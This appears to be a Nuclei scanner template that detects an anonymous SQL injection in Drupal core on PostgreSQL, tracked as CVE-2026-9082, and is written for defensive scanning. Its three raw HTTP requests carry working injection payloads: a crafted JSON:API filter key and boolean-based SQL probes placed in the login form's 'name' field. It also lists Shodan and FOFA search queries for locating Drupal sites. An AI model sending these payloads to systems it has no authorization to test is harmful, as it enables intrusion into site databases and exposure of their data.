id: CVE-2026-9082

info:
  name: Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query
  author: slcyber,DhiyaneshDk
  severity: critical
  description: |
    Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or full database compromise.
  remediation: |
    Upgrade to versions 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 or later.
  reference:
    - https://www.drupal.org/sa-core-2026-004
    - https://slcyber.io/research-center/keys-to-the-kingdom-anonymous-sql-injection-in-drupal-core-cve-2026-9082/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9082
    epss-score: 0.33665
    epss-percentile: 0.98168
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"Drupal"
    fofa-query: app="drupal"
    product: drupal
    vendor: drupal
  tags: cve,cve2026,drupal,sqli,postgresql,kev,vkev

flow: |
  var bundles = ["article", "page"];
  var v2 = false;
  for (var i = 0; i < bundles.length; i++) {
    set("bundle", bundles[i]);
    if (http(1)) {
      v2 = true;
      break;
    }
  }

  var v1 = http(2) && http(3);
  v2 || v1;

http:
  - raw:
      - |
        GET /jsonapi/node/{{bundle}}?filter[t][condition][path]=title&filter[t][condition][operator]=IN&filter[t][condition][value][%60]=x HTTP/1.1
        Host: {{Hostname}}
        Accept: application/vnd.api+json

    matchers:
      - type: dsl
        dsl:
          - status_code == 500
          - contains(body, "SQLSTATE[HY")
        condition: and

  - raw:
      - |
        POST /user/login?_format=json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":{"0":"x","0||1/(SELECT CASE WHEN (1=1) THEN 0 END)":"x"},"pass":"x"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 500
        internal: true

  - raw:
      - |
        POST /user/login?_format=json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":{"0":"x","0||1/(SELECT CASE WHEN (1=2) THEN 0 END)":"x"},"pass":"x"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 400
          - contains(body, "unrecognized")
        condition: and
# digest: 4a0a00473045022009e47e6bf6a304ab6d912e9c7b88c4e3e300147aac31f543dd6778d130e2ceff022100a1386b94ea3db14dc64fc8eab309e7ec6f3dae8435ee879f6637da272559305f:922c64590222798bb761d5b6d8e72950